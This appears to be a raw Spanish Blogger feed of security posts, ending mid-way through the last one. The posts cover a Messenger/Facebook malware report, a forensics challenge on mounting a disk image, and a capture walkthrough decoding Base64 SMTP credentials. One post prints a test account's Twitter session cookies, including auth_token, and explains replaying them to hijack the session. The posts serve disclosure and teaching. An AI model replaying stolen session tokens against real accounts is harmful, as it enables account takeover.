src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TVMJuz4QTtI/AAAAAAAAAL0/rkkNR492cRU/s640/img5.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;Efecto anterior:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_-nrWEUQlmUk/TVMKbjzUhcI/AAAAAAAAAL4/Eyp-Rt_crAw/s1600/img6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="520" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/TVMKbjzUhcI/AAAAAAAAAL4/Eyp-Rt_crAw/s640/img6.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;A juzgar por como fueron cambiando las fechas/hora de última actualización de los archivos, se puede decir que están en pleno desarrollo.&lt;br /&gt;&lt;br /&gt;Denuncié adecuadamente la aplicación, pero facebook aún no la deshabilitó. &lt;br /&gt;&lt;br /&gt;Link del reporte a virus total: http://www.virustotal.com/file-scan/report.html?id=e34cca1509d1ead0f2131049389c42c157ec83b848e6bb8bca4f4fc7a89e0429-1297287029&lt;br /&gt;&lt;br /&gt;No tengo tiempo para probar los efectos del .exe, si alguien se anima y me cuenta será muy apreciado!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;UPDATE 1:&lt;br /&gt;&lt;br /&gt;Pensando un poquito se me ocurrió procesar el parámetro signed_request, con base64 y obtuve esto:&lt;br /&gt;&lt;br /&gt;cadena_que_no_pude_descifrar.{"algorithm":"HMAC-SHA256","issued_at":1297282079,"user":{"country":"ar","locale":"es_LA","age":{"min":21}}}&lt;br /&gt;&lt;br /&gt;Mis conocimientos de javascript son MUY básicos, pero eso parece ser un HASH, posiblemente la cadena_que_no_pude_descifrar no sea mas que el nombre del hash, un nombre posiblemente asignado por facebook, porque es bastante largo y feo (posiblemente aleatorio). No veo que se estén llevando datos realmente sensibles, al menos no con ese parámetro. Alguien con mas info???&lt;br /&gt;&lt;br /&gt;UPDATE 2:&lt;br /&gt;&lt;br /&gt;Aparentemente la app de facebook ya fue dada de baja, pero el servidor sigue infectando hosts.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-5208195837730318615?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/5208195837730318615/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2011/02/bicho-de-messenger-n-n1.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/5208195837730318615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/5208195837730318615'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2011/02/bicho-de-messenger-n-n1.html' title='Bicho de messenger Nº: n+1'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_-nrWEUQlmUk/TVMGDKJXwlI/AAAAAAAAALk/SxjhSYgnSh4/s72-c/img1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-6232868723230001425</id><published>2011-01-28T21:29:00.002-03:00</published><updated>2011-01-28T21:30:26.266-03:00</updated><title type='text'>El retorno: "Reto ncn_2010 Parte1"</title><content type='html'>Como verán hace un par o dos pares de meses que no ando por aquí. Básicamente es por mi PÉSIMA administración del tiempo, no soy lo que se dice la persona mas ocupada del mundo, pero siempre me las arreglo para que el tiempo no me sea suficiente xD.&lt;br /&gt;&lt;br /&gt;Llevo alrededor de 6 meses ya en mi pasantía en el centro de redes de la Universidad Nacional de Córdoba, y debo decir que es increíble todo lo que se aprende en el campo de batalla. Definitivamente era lo que me hacía falta, práctica. &lt;br /&gt;&lt;br /&gt;Pero como esto NO es un diario, o por lo menos ahora no lo es, les traigo la primera parte de mi interpretación del reto http://noconname.org/concursos/NcN_2010_Reto_Forense.pdf , aquí la imagen del dispositivo a analizar http://noconname.org/concursos/okin.dd.bz2 .&lt;br /&gt;&lt;br /&gt;En primera instancia cabe aclarar que este no es un reto como los demás, aquí no hay mas consigna que: &lt;b&gt;Todo lo que encuentres y puedas justificar vale&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;""Obras a la Mano":&lt;br /&gt;Una vez descargado el archivo lo descomprimimos y utilizamos el famoso file para ver de qué se trata okin.dd.&lt;br /&gt;&lt;br /&gt;root@moon:/home/juan/ForensicTests/NcNForense# file okin.dd&lt;br /&gt;okin.dd: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=42006dd3-3ea3-42dd-aa42-e86c3376ea31&lt;br /&gt;root@moon:/home/juan/ForensicTests/NcNForense# &lt;br /&gt;&lt;br /&gt;Como nos comenta el pdf se trata del dd (copia cruda, hablando mal y pronto) de una partición de tipo ext2.&lt;br /&gt;Para asegurarnos de que tenemos el archivo correcto procesamos okin.dd con md5sum y lo comparamos con el valor que dice el pdf:&lt;br /&gt;&lt;br /&gt;root@moon:/home/juan/ForensicTests/NcNForense# md5sum -b okin.dd&lt;br /&gt;9c9a5e0d25dd57db10c99e84d9b03d48 *okin.dd&lt;br /&gt;root@moon:/home/juan/ForensicTests/NcNForense#&lt;br /&gt;&lt;br /&gt;Si no coincidiera estamos en problemas, habría que volver a descargar el archivo o probar descomprimiendo nuevamente okin.dd.bz2.&lt;br /&gt;&lt;br /&gt;Entonces tenemos una partición en un archivo, en principio no podemos ver su contenido (archivos y directorios) porque se trata simplemente de un archivo mas en nuestro disco.&lt;br /&gt;Pero al tener la certeza de que se trata de una partición, solo necesitamos decirle al sistema operativo que la trate como un dispositivo de bloques como cualquier otro. Para lograr esto usamos losetup, que nos permite asociar a un dispositivo de loop un archivo o un dispositivo de bloque, que en nuestro caso significa: nos permite emular un dispositivo de bloque a partir de nuestro archivo okin.dd.&lt;br /&gt;&lt;br /&gt;juan@moon:~/ForensicTests/NcNForense$ losetup --all&lt;br /&gt;&lt;br /&gt;Antes de crear un dispositivo hay que ver cuál de los loop devices no está en uso, e mi caso losetup --all no devuelve nada y por lo tanto puedo utilizar cualquiera de los loop.&lt;br /&gt;&lt;br /&gt;juan@moon:~/ForensicTests/NcNForense$ ls /dev/loo*&lt;br /&gt;loop0&amp;nbsp; loop1&amp;nbsp; loop2&amp;nbsp; loop3&amp;nbsp; loop4&amp;nbsp; loop5&amp;nbsp; loop6&amp;nbsp; loop7&lt;br /&gt;&lt;br /&gt;Entonces utilzio loop1, y como se trata de evidencia forense, le indicamos a losetup que configure el loop device como SOLO lectura.&lt;br /&gt;&lt;br /&gt;root@moon:/home/juan/ForensicTests/NcNForense# losetup -r /dev/loop1 okin.dd&lt;br /&gt;&lt;br /&gt;Listamos nuevamente los dispositivos loop en uso y vemos ahora que loop1 está en uso con nuestro archivo. &lt;br /&gt;&lt;br /&gt;root@moon:/home/juan/ForensicTests/NcNForense# losetup -a&lt;br /&gt;/dev/loop1: [0801]:692806 (/home/juan/ForensicTests/NcNForense/okin.dd)&lt;br /&gt;&lt;br /&gt;Podemos ver nuestro dispositivo con fdisk:&lt;br /&gt;&lt;br /&gt;root@moon:/home/juan/ForensicTests/NcNForense# fdisk -l /dev/loop1&lt;br /&gt;&lt;br /&gt;Disco /dev/loop1: 123 MB, 123379200 bytes&lt;br /&gt;255 cabezas, 63 sectores/pista, 15 cilindros&lt;br /&gt;Unidades = cilindros de 16065 * 512 = 8225280 bytes&lt;br /&gt;Identificador de disco: 0x00000000&lt;br /&gt;&lt;br /&gt;El disco /dev/loop1 no contiene una tabla de particiones válida&lt;br /&gt;&lt;br /&gt;No tiene particiones válidas porque no se trata de un disco particionado, sino simplemente de una partición.&lt;br /&gt;Ahora creamos un directorio donde montaremos nuestra partición para por fin poder ver qué contiene.&lt;br /&gt;&lt;br /&gt;root@moon:/home/juan/ForensicTests/NcNForense# mkdir analisis&lt;br /&gt;&lt;br /&gt;root@moon:/home/juan/ForensicTests/NcNForense# mount -o ro /dev/loop1 analisis/&lt;br /&gt;&lt;br /&gt;Lo montamos como cualquier otro dispositivo de bloques, expecificando la opción de solo lectura, no es necesario especificar el tipo de partición ya que lo detecta automáticamente (aunque no estaría mal hacerlo).&lt;br /&gt;Podemos ver que se montó correctamente mediante:&lt;br /&gt;&lt;br /&gt;root@moon:/home/juan/ForensicTests/NcNForense# mount | grep loop1&lt;br /&gt;/dev/loop1 on /home/juan/ForensicTests/NcNForense/analisis type ext2 (ro)&lt;br /&gt;root@moon:/home/juan/ForensicTests/NcNForense#&lt;br /&gt;&lt;br /&gt;Eso es todo por ahora, de aca en mas ya se puede recorrer la partición como lo hacemos normalmente. Para la próxima veremos el contenido, los archivos, sus fechas, etc, y ver cuánta información se puede obtener.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-6232868723230001425?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/6232868723230001425/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2011/01/el-retorno-reto-ncn2010-parte1.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/6232868723230001425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/6232868723230001425'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2011/01/el-retorno-reto-ncn2010-parte1.html' title='El retorno: &quot;Reto ncn_2010 Parte1&quot;'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-1618556749758491598</id><published>2010-09-22T21:29:00.001-03:00</published><updated>2010-09-22T22:19:27.584-03:00</updated><title type='text'>Twitter y sus cookies</title><content type='html'>Como explican los chicos de Securitybydefault en http://www.securitybydefault.com/2010/09/twitter-y-las-galletas-caducadas.html , twitter no está destruyendo realmente las cookies (ni siquiera aunque uno cierre sesión como dios manda xD) o al menos no en un tiempo razonable.&lt;br /&gt;Esto qué quiere decir? quiere decir que se pueden reutilizar las cookies para continuar una sesión que fue abierta con las de la ley (con usuario y password correctos). De esta forma, quien se haga con nuestras cookies es capaz de utilizar nuestra cuenta.&lt;br /&gt;&lt;br /&gt;Inconvenientes:&lt;br /&gt;-Una vez obtenida la cookie el usuario malvado podría eliminar todos nuestros followers, agregar nuevos, insultar a mamá y papá, decirle a la novia que no la querés ver mas xD (podría no ser tan malvado), etc etc etc.&lt;br /&gt;&lt;br /&gt;Algo bueno?:&lt;br /&gt;-emm... digamos que si. Este usuario poseído, no podrá hacer cambios irreversibles como cambiar la contraseña o el mail asignado a nuestra cuenta, porque para ello debería conocer nuestra contraseña y estamos suponiendo que tenemos una contraseña segura y que no tiene relación alguna con el nombre de la cuenta ni el mail, ni nada tan predecible.&lt;br /&gt;&lt;br /&gt;Realmente funciona? SISI, hace mas de 2hs cree una cuenta en twitter (luego de haber probado con mi cuenta privada) y aún se puede entrar utilizando las cookies.&lt;br /&gt;&lt;br /&gt;Las cookies son las 12 siguientes:&lt;br /&gt;&lt;br /&gt;.twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;TRUE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;1285196450&amp;nbsp;&amp;nbsp; &amp;nbsp;__utmb&amp;nbsp;&amp;nbsp; &amp;nbsp;43838368.10.10.1285194542 &lt;br /&gt;.twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;TRUE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;1348266650&amp;nbsp;&amp;nbsp; &amp;nbsp;__utmv&amp;nbsp;&amp;nbsp; &amp;nbsp;43838368.lang%3A%20es &lt;br /&gt;.twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;TRUE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;0&amp;nbsp;&amp;nbsp; &amp;nbsp;__utmc&amp;nbsp;&amp;nbsp; &amp;nbsp;43838368 &lt;br /&gt;.twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;TRUE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;1348266650&amp;nbsp;&amp;nbsp; &amp;nbsp;__utma&amp;nbsp;&amp;nbsp; &amp;nbsp;43838368.1707552852.1285194542.1285194542.1285194542.1 &lt;br /&gt;.twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;TRUE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;0&amp;nbsp;&amp;nbsp; &amp;nbsp;_twitter_sess&amp;nbsp;&amp;nbsp; &amp;nbsp;BAh7DzoVaW5fbmV3X3VzZXJfZmxvdzAiLXNob3dfZGlzY292ZXJhYmlsaXR5%250AX2Zvcl9zb3l1bmFwcnVlYmFtYXMwOhNwYXNzd29yZF90b2tlbiItMmRhMjM3%250AZTA5NTdjYmE0NjJhNDQ1YjE4Nzg1NDE0NTgzYmQ4NDBlMjoMdHpfbmFtZSIN%250AQnJhc2lsaWE6CXVzZXJpBMNcjgs6E3Nob3dfaGVscF9saW5rMDoHaWQiJTUy%250AYjY0YTg2ODZmZjM2ZWU1NTIyYWIwZjhiNzNlYjY5IgpmbGFzaElDOidBY3Rp%250Ab25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsAOgxj%250Ac3JmX2lkIiVjNzA1MjRiNjZlODFkOGE2ZWQ3MTI2NGRmOTVhN2QyNDoPY3Jl%250AYXRlZF9hdGwrCGomkDsrAQ%253D%253D--91b23fa140937e74c8499f08229b4484cc3d73c3 &lt;br /&gt;.twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;TRUE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;0&amp;nbsp;&amp;nbsp; &amp;nbsp;auth_token&amp;nbsp;&amp;nbsp; &amp;nbsp;2da237e0957cba462a445b18785414583bd840e2 &lt;br /&gt;.twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;TRUE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;1300962542&amp;nbsp;&amp;nbsp; &amp;nbsp;__utmz&amp;nbsp;&amp;nbsp; &amp;nbsp;43838368.1285194542.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) &lt;br /&gt;.twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;TRUE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;1285799324&amp;nbsp;&amp;nbsp; &amp;nbsp;k&amp;nbsp;&amp;nbsp; &amp;nbsp;190.230.174.206.1285194524262928 &lt;br /&gt;twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;0&amp;nbsp;&amp;nbsp; &amp;nbsp;lang&amp;nbsp;&amp;nbsp; &amp;nbsp;es &lt;br /&gt;twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;0&amp;nbsp;&amp;nbsp; &amp;nbsp;tz_offset_sec&amp;nbsp;&amp;nbsp; &amp;nbsp;-10800 &lt;br /&gt;twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;0&amp;nbsp;&amp;nbsp; &amp;nbsp;original_referer&amp;nbsp;&amp;nbsp; &amp;nbsp;4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl &lt;br /&gt;twitter.com&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;/&amp;nbsp;&amp;nbsp; &amp;nbsp;FALSE&amp;nbsp;&amp;nbsp; &amp;nbsp;1287786524&amp;nbsp;&amp;nbsp; &amp;nbsp;guest_id&amp;nbsp;&amp;nbsp; &amp;nbsp;128519452426515090&lt;br /&gt;&lt;br /&gt;Para realizar la prueba es necesario copias las cookies anteriores a un archivo e importarlas a nuestro browser preferido (entiendase FIREFOX) mediante algún plugin como ser "Add N Edit Cookies", una vez importadas vamos a www.twitter.com y magia!! :P somos "soyunapruebamas".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TJqXiGegk6I/AAAAAAAAALE/6MoGIrP8a8c/s1600/Pantallazo-%5BAplicaci%C3%B3n+JavaScript%5D.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TJqXiGegk6I/AAAAAAAAALE/6MoGIrP8a8c/s320/Pantallazo-%5BAplicaci%C3%B3n+JavaScript%5D.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TJqYGYxftVI/AAAAAAAAALM/FT4rqc6BvYE/s1600/Pantallazo-Twitter+-+Inicio+-+Mozilla+Firefox.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="358" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TJqYGYxftVI/AAAAAAAAALM/FT4rqc6BvYE/s640/Pantallazo-Twitter+-+Inicio+-+Mozilla+Firefox.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Podemos ver las cookies importadas:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TJqYYXynz3I/AAAAAAAAALU/PRLNimRRLt0/s1600/Pantallazo-AnEC+Cookie+Editor+v0.2.1.3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="388" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TJqYYXynz3I/AAAAAAAAALU/PRLNimRRLt0/s640/Pantallazo-AnEC+Cookie+Editor+v0.2.1.3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Las cookies _twitter_sess, __utmc, auth_token, lang, original_referer y tz_offset_sec expiran (teóricamente) al finalizar la sesión, pero claramente NO lo están haciendo.&lt;br /&gt;__utmb expira: 09/22/2010 21:24:32.&lt;br /&gt;__utmv expira: 09/21/2012 20:54:32&lt;br /&gt;__utma expira: 09/21/2012 20:54:32&lt;br /&gt;k expira: 09/29/2010 19:28:44&lt;br /&gt;__utmz expira: 03/24/2011 07:29:02&lt;br /&gt;guest_id expira: 10/22/2010 19:28:44&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A las 21:15 del 22 de septiembre de 2010, habiendo expirado casi todas las cookies, aún es posible utilizarlas...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La misma prueba hecha en facebook nos demuestra el funcionamiento esperado de las cookies:&lt;br /&gt;-Si no cerramos sesión, las cookies se pueden reutilizar.&lt;br /&gt;-Si cerramos sesión, las cookies se invalidan y es necesario volver a autenticarse.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Esto a simple vista podría no parecer peligroso, pero sumado a la aparición de un bug XSS en twitter, es posible que nuestras cookies sean robadas y ya no podríamos invalidarlas cerrando la sesión.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Aca un poco mas sobre una de las cookies auth_token: http://domdingelom.blogspot.com/2008/12/all-your-twitter-are-belong-to-us.html .&lt;br /&gt;Aca un poco mas sobre el bug XSS: http://www.rtve.es/noticias/20100921/twitter-sufre-mayor-ataque-su-historia-culpa-fallo-seguridad/355656.shtml .&lt;br /&gt;&lt;br /&gt;Importen las cookies, prueben y no hagan destrozos a "soyunapruebamas", gracias xD.&lt;br /&gt;&lt;br /&gt;Archivo cookiest.txt http://www.megaupload.com/?d=1JX7UNZJ .&lt;br /&gt;Hash MD5: 973b5eff003532bb2f4508cfcd9c9f93&amp;nbsp; cookies.txt&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-1618556749758491598?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/1618556749758491598/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/09/twitter-y-sus-cookies.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/1618556749758491598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/1618556749758491598'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/09/twitter-y-sus-cookies.html' title='Twitter y sus cookies'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_-nrWEUQlmUk/TJqXiGegk6I/AAAAAAAAALE/6MoGIrP8a8c/s72-c/Pantallazo-%5BAplicaci%C3%B3n+JavaScript%5D.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-3912173908090572624</id><published>2010-09-02T23:17:00.000-03:00</published><updated>2010-09-02T23:17:36.870-03:00</updated><title type='text'>Segundo desafío :P</title><content type='html'>Así es, esta entrada es para el segundo desafío (continuación del anterior, al menos en la historia xD). La facultad y la pasantía ciertamente me están desgastando el cuerpo, hoy me dormí un par de veces en la clase de inteligencia artificial, pero debo admitir que el profesor no ayudaba xD. Pero esto no es un diario xD, así que a lo que nos truje.&lt;br /&gt;El segundo desafío es: http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail . Esta vez nos encontramos con un desafío un tanto mas interesante y un archivo de capturas un poco mas grande también.&lt;br /&gt;Una vez comprendida bien las preguntas me dispuse a abrir el archivo de captura para buscar las respuesta, claramente usando wireshark :P.&lt;br /&gt;&lt;br /&gt;RESPONDIENDO LAS PREGUNTAS:&lt;br /&gt;&lt;br /&gt;1-Viendo un poco la captura encontramos en el paquete número 53 el inicio de una conexión tcp al puerto 587, que no es el puerto estandard de los servidores de correo (25), pero si seguimos la conexión queda en evidencia de que se trata de una conexión a un servidor de correo.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_-nrWEUQlmUk/TIBHVIUwK0I/AAAAAAAAAJ8/Ux50ZKbv9uY/s1600/Pantallazo-Follow+TCP+Stream-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="600" src="http://3.bp.blogspot.com/_-nrWEUQlmUk/TIBHVIUwK0I/AAAAAAAAAJ8/Ux50ZKbv9uY/s640/Pantallazo-Follow+TCP+Stream-3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;En la imagen se ve prácticamente toda la conexión con el servidor de correo y como se trata de stmp básico vemos todo en texto claro nada de cifrado.&lt;br /&gt;Desde esta imagen podemos responder varias preguntas, vemos que el mail de la señorita "Ann Dercover" es "sneakyg33@aol.com".&lt;br /&gt;&lt;br /&gt;2-Los dos puntos negros en la imagen anterior marcan la autenticación llevada a cabo, parece texto sin sentido, esto se debe a que el nombre del usuario (primero punto) y el password (segundo punto) están codificados en Base64 (para mas información http://es.wikipedia.org/wiki/Base64). Ahora pasemos a decodificar (nótese la diferencia entre codificar y cifrar, son cosas totálmente diferentes, base64 es un tipo de codificación no de cifrado).&lt;br /&gt;Para decodificar los campos los extraemos manualmente y los decodificamos con el programa base64 de la siguiente manera:&lt;br /&gt;Primero metemos las cuatro cadenas codificadas dentro de un archivo de texto para automatizar un poco todo (no se justifica para tan pocos datos codificados, pero buee), y luego procesamos una a una cada linea del archivo de la siguiente manera:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_-nrWEUQlmUk/TIBOBEvDpOI/AAAAAAAAAKE/GEwg5zp8MvI/s1600/Pantallazo-juan%40moon:+%7E.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="206" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/TIBOBEvDpOI/AAAAAAAAAKE/GEwg5zp8MvI/s640/Pantallazo-juan%40moon:+%7E.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Y magia xD, el usuario de Ann Dercover es el que indicamos anteriormente y su password es "558r00lz".&lt;br /&gt;&lt;br /&gt;3-En primer momento creí que la respuesta a esta pregunta también se podría sacar de la primer imagen, y me arriesgué a creer que el mail del señor X es "sec558@gmail.com". Pero no!, viendo la pregunta 4 me encontré con un segundo mail enviado por Ann, comenzando en el paquete 153. Esta vez el mail va dirigido a una dirección un tanto sospechosa xD "mistersecretx@aol.com", la cual sin lugar a dudas es la dirección del señor X.&lt;br /&gt;&lt;br /&gt;4-En este segundo mail Ann escribe al señor X:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_-nrWEUQlmUk/TIBRy3hZw2I/AAAAAAAAAKU/2IYSuzj_sjI/s1600/Pantallazo-Follow+TCP+Stream.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="http://3.bp.blogspot.com/_-nrWEUQlmUk/TIBRy3hZw2I/AAAAAAAAAKU/2IYSuzj_sjI/s640/Pantallazo-Follow+TCP+Stream.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ann pide al señor X que traiga su pasaporte falso y traje de baño :P.&lt;br /&gt;&lt;br /&gt;5-Parte del texto del mail de Ann nos indica que la dirección de encuentro está adjunta al correo electrónico. Vemos que de hecho hay un archivo adjunto, con el nombre "secretrendezvous.docx", codificado en "base64".&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TIBS4wgHnuI/AAAAAAAAAKc/ppzWxcWxOz8/s1600/Pantallazo-Follow+TCP+Stream-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="435" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TIBS4wgHnuI/AAAAAAAAAKc/ppzWxcWxOz8/s640/Pantallazo-Follow+TCP+Stream-1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;6- Bien, esta parte es mas divertida, ahora hay que extraer el archivo codificado en base64, decodificarlo y calcular su hash md5. &lt;br /&gt;Copiamos toda la parte codificada en base64 en un archivo, lo copié directamente desde wireshark seleccionando toda la parte codificada. Una vez listo el archivo lo decodificamos de la siguiente forma:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a 